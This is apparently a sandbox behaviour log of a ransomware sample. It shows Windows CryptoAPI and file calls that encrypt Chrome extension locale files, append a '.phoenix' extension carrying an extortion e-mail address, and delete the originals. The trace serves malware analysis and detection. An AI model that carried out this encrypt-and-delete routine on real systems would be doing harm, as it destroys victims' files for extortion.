	[0264.962] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.963] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151400) returned 1
	[0264.963] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.963] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x403a, lpOverlapped=0x0) returned 1
	[0264.988] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4040, dwBufLen=0x4040 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4040) returned 1
	[0264.989] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4040, lpOverlapped=0x0) returned 1
	[0264.990] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0264.990] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.990] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0264.990] CryptDestroyKey (hKey=0x151540) returned 1
	[0264.990] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0264.990] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.990] CloseHandle (hObject=0x308) returned 1
	[0264.990] CloseHandle (hObject=0x2f0) returned 1
	[0264.990] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ko\\messages.json")) returned 1
	[0264.992] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0264.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.993] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16747) returned 1
	[0264.993] CloseHandle (hObject=0x2f0) returned 1
	[0264.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json")) returned 0x20
	[0264.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.993] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.993] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.993] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0264.993] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0264.994] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151400) returned 1
	[0264.994] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0264.994] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x416b, lpOverlapped=0x0) returned 1
	[0265.016] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4170, dwBufLen=0x4170 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4170) returned 1
	[0265.016] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4170, lpOverlapped=0x0) returned 1
	[0265.018] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0265.018] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.018] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.018] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.018] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.018] CryptDestroyKey (hKey=0x151400) returned 1
	[0265.018] CloseHandle (hObject=0x2f0) returned 1
	[0265.018] CloseHandle (hObject=0x308) returned 1
	[0265.018] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lt\\messages.json")) returned 1
	[0265.020] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.020] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.021] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=22591) returned 1
	[0265.021] CloseHandle (hObject=0x308) returned 1
	[0265.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json")) returned 0x20
	[0265.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.022] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.022] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.022] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.023] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0265.023] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.023] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x583f, lpOverlapped=0x0) returned 1
	[0265.031] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5840, dwBufLen=0x5840 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x5840) returned 1
	[0265.031] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x5840, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x5840, lpOverlapped=0x0) returned 1
	[0265.032] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0265.033] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.033] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.033] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.033] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.033] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.033] CloseHandle (hObject=0x308) returned 1
	[0265.033] CloseHandle (hObject=0x2f0) returned 1
	[0265.033] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ml\\messages.json")) returned 1
	[0265.034] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.035] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16267) returned 1
	[0265.035] CloseHandle (hObject=0x2f0) returned 1
	[0265.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json")) returned 0x20
	[0265.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.035] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.035] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.035] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.035] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.036] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0265.036] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.036] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3f8b, lpOverlapped=0x0) returned 1
	[0265.047] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f90, dwBufLen=0x3f90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f90) returned 1
	[0265.047] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3f90, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3f90, lpOverlapped=0x0) returned 1
	[0265.049] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0265.049] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.049] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.049] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0265.049] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.049] CryptDestroyKey (hKey=0x151200) returned 1
	[0265.049] CloseHandle (hObject=0x2f0) returned 1
	[0265.049] CloseHandle (hObject=0x308) returned 1
	[0265.049] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ms\\messages.json")) returned 1
	[0265.051] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.052] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16197) returned 1
	[0265.052] CloseHandle (hObject=0x308) returned 1
	[0265.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json")) returned 0x20
	[0265.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.052] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0265.052] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.052] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.052] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0265.053] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0265.053] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.053] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3f45, lpOverlapped=0x0) returned 1
	[0265.128] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f50, dwBufLen=0x3f50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f50) returned 1
	[0265.128] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3f50, lpOverlapped=0x0) returned 1
	[0265.129] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151040) returned 1
	[0265.129] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
